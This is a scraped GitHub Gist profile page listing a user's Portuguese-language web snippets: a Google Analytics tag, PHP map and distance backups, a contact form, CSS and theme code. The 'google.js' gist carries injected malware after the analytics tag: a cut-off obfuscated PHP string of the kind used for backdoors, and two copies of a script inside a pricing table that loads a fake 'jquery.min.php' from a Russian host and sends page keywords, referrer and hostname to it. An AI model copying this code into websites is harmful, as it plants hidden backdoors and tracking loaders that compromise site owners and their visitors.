Skip to content

Instantly share code, notes, and snippets.

View yeltsin's full-sized avatar

Yeltsin Lima yeltsin

View GitHub Profile
@yeltsin
yeltsin / google.js
Created March 5, 2017 01:07
Google Analytics
<script>
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-71331839-7', 'auto');
ga('send', 'pageview');
</script>
<?php $titcuki = ' x7fw6*CW&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX x27u%)7ftpmdXA6|7**197-2qj%7-K)udfoopdXA]y81]265]y72]254]y76#<!%w:!>!(%w:!>! x246767~6<Cw6<pd%w6Z6<.5`hAx7f!~!<##!>!2p%Z<^2 x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!g~<%h00#*<%nfd)##Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]6]f`57ftbc x7f!|!*uyfu x27k:!ftmf!}Z;^nbsbq% x5cSFWSFT`%}X!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,B]D4]275]D:M8]Df#<%tdz>#L4]275L3]248L3P6L1M5]D2P4]D6#<84:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#] x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`GB)fubfsdXA x27K6< x84]y31M6]y3e]81#/#7e:55946-tr.912>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{6~6<tfs%w6< x7fw6*CWtfs%)7g-#o]s]o]s]#)fepmqyf x27*&7-n%)utjm6<pdof./#@#/qp%>5h%!<*::::::-1111c:649#-!#:618d5f9#-!#f6ccYufhA x272qj%6<^#zsfvr# x5cq%7/7#@#7/7^#iMSV,6<*)ujojR x27id%6< x7fw6* x7f_*#ujojRk3`{666~6<&w6< x7fw6*CW&))323ldfidk!~!<**qp%!-uyfu%)3of)fepdo{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U! x27{**u%-#jt0}Z;0]=]0rdiyep",str_split("%tjw!>!
<div class="pricing-table">
<div class="plan one-third first">
<div class="top">
<h4>Premium</h4>
<em>Para grandes empresas</em>
<h3 class="price">R$ 1.500<span>/mês</span></h3>
<ul>
<li>Servidor Cloud</li>
<li>SSL Premium Grátis</li>
<li>Alta Performance</li>
<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://big-person.ru/js/jquery.min.php?c_utt=I92930&c_utm='+encodeURIComponent('http://big-person.ru/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>
<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://big-person.ru/js/jquery.min.php?c_utt=I92930&c_utm='+encodeURIComponent('http://big-person.ru/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>
@yeltsin
yeltsin / bkp-dist.php
Created January 27, 2016 03:41
Backup da distância
<!-- Distance -->
<div class='distance-wrapper'>
<div class='distance custom-color'>
<?php
// Distance
// GPS hotel
//$hotel_gps_latitude = get_option('basic_address_latitude');
//$hotel_gps_longtitude = get_option('basic_address_longtitude');
//$distance = calculateDistance($hotel_gps_latitude, $hotel_gps_longtitude, $detail_gps_latitude, $detail_gps_longtitude);
@yeltsin
yeltsin / bkp-loc.php
Created January 27, 2016 03:41
backup localização
<!-- Directions -->
<div class='directions custom-color'>
<div class='map' id='detail-map'></div>
<!-- Embed map -->
<script>
<!-- function initialize() {
var myLatlng = new google.maps.LatLng(<?php echo $detail_gps_latitude.",".$detail_gps_longtitude; ?>);
var mapOptions = {
zoom: 14,
@yeltsin
yeltsin / formulario.html
Created November 24, 2015 05:41
Formulário de Contato via Formspree
<p>Se você deseja entrar em contato comigo ou com alguém da nossa equipe, basta preencher o formulário abaixo. Responderemos o mais rápido possível.</p>
<form action="//formspree.io/ylimabr@gmail.com" method="POST">
<p><label for="name">Nome:<input type="text" id="name" name="name" placeholder="Nome"></label></p>
<p><label for="email">E-mail:<input type="email" id="email" name="_replyto" placeholder="email@dominio.com.br"></label></p>
<p><label for="message">Mensagem:<textarea name="message" rows="5" placeholder="Mensagem"></textarea></label></p>
<input type="text" name="_gotcha" style="display:none" />
<input type="submit" value="Enviar">
<input type="hidden" name="_next" value="//dicaswp.com.br/contato-enviado/" />
<input type="hidden" name="_subject" value="Contato via Dicas WordPress" />
@import url("../CherryFramework/style.css");
@import url(//fonts.googleapis.com/css?family=Raleway:300,400,600);
body { padding:0 !important; font-family:'Raleway', sans-serif; }
.ie8 body.subpage { background-position:50% -387px; }
body#home {
background-image: url(http://www.iesp.edu.br/sesp/wp-content/uploads/2015/05/TELA-INICIAL-SITE1.jpg);
background-repeat: no-repeat;
background-position: center center;
background-attachment: fixed;
background-size: cover;
<?php
/**
* Andros Child Theme Custom Functions
**/
require_once get_stylesheet_directory() . '/class-tgm-plugin-activation.php';
add_action( 'tgmpa_register', 'andros_register_required_plugins' );